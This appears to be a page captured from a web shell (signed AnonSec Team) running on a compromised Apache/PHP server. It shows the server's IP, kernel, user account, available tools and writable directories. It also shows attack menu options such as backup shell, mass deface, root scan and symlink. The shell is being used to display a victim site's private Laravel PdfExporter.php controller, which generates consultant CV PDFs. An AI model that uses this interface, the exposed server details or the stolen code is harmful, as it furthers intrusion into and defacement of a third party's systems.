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/  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/app/Http/Controllers/PdfExporter.php
<?php
namespace App\Http\Controllers;

use App\Models\Candidates;
use App\Models\Schools;
use App\Models\Skills;
use App\Models\Users;
use App\Models\UserLanguages;
use App\Models\UserEducations;
use App\Models\Languages;
use App\Models\UserCertification;
use App\Http\Controllers\UserEducationController;
use App\Http\Controllers\WordExporter;


require_once '../vendor/autoload.php';

header("Access-Control-Allow-Origin: *");

use Illuminate\Http\Request;

class PdfExporter extends Controller
{   

    private function mpdf($html,$logo,$user){
        $footer ='
                <footer class ="shiftLastFooter" >
                    <img src ="'.$logo.'">
                </footer>
        ';
        $header = '
            <div class = "header">              
            <div class="logo"></div>     
            <div class ="hover"> </div>
        ';
     
        $_pdf = new \Mpdf\mPDF([
			'mode' => '',
			'format' => 'A4',
			'default_font_size' => 0,
			'default_font' => '',
			'margin_left' => 0,
			'margin_right' => 15,
			'margin_top' => 55,
			'margin_bottom' => 16,
			'margin_header' => 0,
			'margin_footer' => 0,
			'orientation' => 'P',
		]);
        $_pdf->addPage();
        $_pdf->setHTMLHeader($header);

        $_pdf->writeHTML($this->htmlStarter());
        $_pdf->writeHTML($this->firstPage($user));
        $_pdf->addPage();
        $_pdf->SetHTMLFooter($footer);
        $_pdf->writeHTML($html);
    
        $_pdf->Output("PP.pdf","d");
    }

    private function getHeaderImage(){
        return "../Logo/Modis-pp-image.PNG";
    }

    public function firstPage($user){
        $html=
            '<p class="textPosition" style ="font-size:30px;"> '.$user->surname.'  '.$user->name.'</p>
        <h1 class="textPosition1"> <span>'.$user->position.'</span></h1>
        <div class="p">  </div> ';
        return $html;
    }

    public function htmlStarter(){

        $myPublicFolder = public_path();

        $modisSubLogo = $myPublicFolder."\Logo\modis-logo.png";
    
        //Hover Logo
        $hoverLogo = $myPublicFolder."\Logo\ModisLogo.png";

        $html =' <html> 
                <head> 
                <style> 
                h2 {
                    text-align: right;
                    color: #262728;
                }
                
                .header{
                    width: 100%;
                    height: 300px;
                    position: relative;
                    background-image: url('.$modisSubLogo.');
                    background-size: contain;
                    background-repeat: no-repeat;
                }

                .logo{
                    height: 100px;
                    width:300px;
                    position:absolute;
                    
                }
                .shiftTexts{
                    margin-left:30px;
                    margin-top:20px;
                }

                .hover {
                    height: 120px;
                    position:absolute;
                    top:60px;
                    margin-top:-41px;
                    margin-left:-1px;
                    background-image: url('.$hoverLogo.');
                    background-size: contain;
                    background-repeat: no-repeat;
                }

                table {
                    position: absolute;
                    top: 50px;
                }
            
                .textPosition{
                    text-align:center;
                    padding-top:140px; 
                }

                .textPosition1{
                    text-align:center;
                }
                *{
                    font-family: "Roboto", sans-serif;
                }
                span {
                    color: rgb(235, 162, 52);
                    font-size: 15px;
                    font-weight: bold;
                }

                .cp{
                    margin-right: 0px;
                    text-align: right;
                    text-decoration:underline;
                    text-decoration-color:black;
                }
                .man{
                    font-size: 20px;
                    font-weight: 700;
                }
                .format{
                    font-size: 20px;
                    font-weight: 700;
                    color:green;
                }
                .fontType{
                    font-weight:bold;
                    font-size:14px;
                    color:green;
                }
                td{
                    display:flex;
                    font-weight: normal;
                }
                .oneLine{
                    display:flex; 
                    justify-content:space-between;
                }

                .imagee {
                    position:relative;
                    width:10%;
                    display:flex;
                    float:right;
                }

                .span-noBold{
                    color: rgb(235, 162, 52);
                    font-size: 15px;                
                }
                ul{
                    text-align:left;
                    margin:0px;
                    padding:0px; 
                }
                hr{
                    color: rgb(235, 162, 52);
                    width:50%;
                    height:2px;

                }
                .p{
                    height:600px;
                }
                .normalPadding{
                    padding-left:15px;


                }
                .hrFooter{
                    color: rgb(235, 162, 52);
                    width:100%;
                    height:2px;
                }

                .shiftLastFooter{
                    padding-bottom:40px;
                }
                .shiftTable{
                    padding-top:20px;
                }
                .wrapper{
                    padding-left:100px;
                }
            
                </style> 
                </head> 
                <body>   
                ';
        return $html;
    }

    public function getUserDossier($id_user){
        //Data Pertaining Users
        $user = Users::find($id_user);
        $user_languages = UserLanguages::where("id_user",$id_user)->get();
        $user_education = UserEducations::where("id_user",$id_user)->get();
        $user_certifications = UserCertification::where("id_user",$id_user)->get();
        $userResponsibilites = explode(",",$user->main_responsibilities);

        $footer = public_path()."\Logo\Modis-Footer.png";

        $html ='
            <div class="wrapper">
                <table>
                    <tr>
                        <td> 
                            <div> <p><span>CONSULTANT</span>: '.$user->name.' '.$user->surname.' </p> </div>
                        </td>
                    </tr>
                    <tr>
                        <td>    
                            <p> <span>EDUCATIONAL QUALIFICATION</span>: '.$user->qualification.'</p>
                        </td>
                    </tr>
                    <tr>
                        <td>    
                            <p> <span>YEAR OF BIRTH</span>: '.explode("-",$user->birthdate)[2].'</p>   
                        </td>
                    </tr>
                    <tr>
                    <td>    
                        <p> <span> YEARS OF EXPERIENCE </span>: '.$user->experience.'</p>   
                    </td>

                    </tr>
                </table>

                <h1> <span>MAIN RESPONSILITIES </span></h1>';
                $html .= $this->parseUserResponsibilites($userResponsibilites);
                $html .= '<h1><span>TECHNICAL SKILLS</span></h1>'; 
                $html .= $this->parseTechnicalSkills($user);
                $html .='<h1><span>CERTIFICATIONS</span></h1>';
                $html .= $this->parseUserCertifications($user_certifications);
                $html .= '<h1><span>LANGUAGE SKILLS</span></h1>';
                $html .= $this->parseUserLanguages($user_languages);
                $html .= '<h1><span>SCHOOL BACKGROUND</span></h1>';
                $html .= $this->parseUserEducations($id_user);  
                $html .= '<h1 style="color:red" ><span>PROFESSIONAL EXPERIENCES</span> </h1>';
                $html .= $this->parseProfessionalExperiences($user);
                $html .= $this->endHtml();
            
        return Response()->json(["status"=> true, "message"=>  $this->mpdf($html,$footer,$user) ,200]);
    }

    private function parseUserCertifications($user_certifications){
        $html = "<ul>";
        for($i = 0; $i < count($user_certifications);$i++){
            $html .= '<p>'. $user_certifications[$i]["organization"] .' - '. $user_certifications[$i]["certification"].'</p> ';
        }
        return $html.= "</ul>";
    }

    private function getTechnicalSkills($user){
        return json_decode($user->technical_skills);
    }

    private function getProfessionalExperiences($user){
       return  json_decode($user->professional_experiences);
    }
    
    private function parseUserEducations($id_user){
        $userEducationController = new UserEducationController();
        $educationsByUser = $userEducationController->getUserEducationsByUserId($id_user);
        $html= '<ul>';
    
        for($i = 0; $i < count($educationsByUser); $i++){
            $html .= '
                <p><span>'.$educationsByUser[$i]["date"].'</span></p> 
                <h3>'.$educationsByUser[$i]["name"].' '.$educationsByUser[$i]["level"].'</h3>
                <p>'.$educationsByUser[$i]["school"]->nome_scuola.' 
                , '.$educationsByUser[$i]["school"]->comune.' ('.$educationsByUser[$i]["school"]->provincia.')</p>'
            ;
        }
        $html .= '</ul>';
        return $html;
    }

    private function parseUserResponsibilites($responsibilities){
        $html = '<ul class= "normalPadding">';
        for($i = 0; $i <count($responsibilities); $i ++){
            $html .= '<li>'.$responsibilities[$i].'</li>';
        }
        return $html .= '</ul>';
    }

    private function parseProfessionalExperiences($user){
        $html= '<ul>';
        $experiences = $this->getProfessionalExperiences($user);
        for($i = 0; $i < count($experiences ); $i++){
            $html .= '
                <h3 class ="cp">'. $experiences[$i]->organization.'</h3> 
                <h3>Period : <span>'.$experiences[$i]->period .'</span></h3> 
                <h3>Customer: <span>'. $experiences[$i]->customer.'</span></h3> 
                <h3>Project :<span style="font-weight:normal">'.$experiences[$i]->project .'</span ></h3>
                <h3>Activities :<span style ="font-weight:normal;color:black">'. $experiences[$i]->activities.'</span></h3> 
                <h3>Role : <span style ="font-weight:normal;color:black">'.$experiences[$i]->role .'</span></h3>
                <h3>Description : <span style ="font-weight:normal;color:black">'. $experiences[$i]->description.'</span></h3> 
            ';
            if(count($experiences) -$i != 1){
                $html .="<hr>";
            }   
        }
        $html .= '</ul>';
        return $html;
    }
    
    private function parseUserLanguages($user_languages){
        $html= '<ul>';
        for($i = 0; $i < count($user_languages); $i++){
            $html .='<p>'.$user_languages[$i]["name_language"]. ' - '.$user_languages[$i]["spoken"].' </p> ';
        }
        return $html .= '</ul>';
    }   
    
    private function parseTechnicalSkills($user){
        $html= '';
        $skills = $this->getTechnicalSkills($user);
        for($i = 0; $i < count($skills ); $i++){
            $html .='
                <h3> <em>'.$skills[$i]->title.'</em></h3> 
                <p>'.$skills[$i]->description .'</p>
            ';
        }
        return $html;
    }
 
    private function endHtml(){
        return '   
                    </div>    
                </body>
            </html>
        ';    
    }

}

Anon7 - 2022
AnonSec Team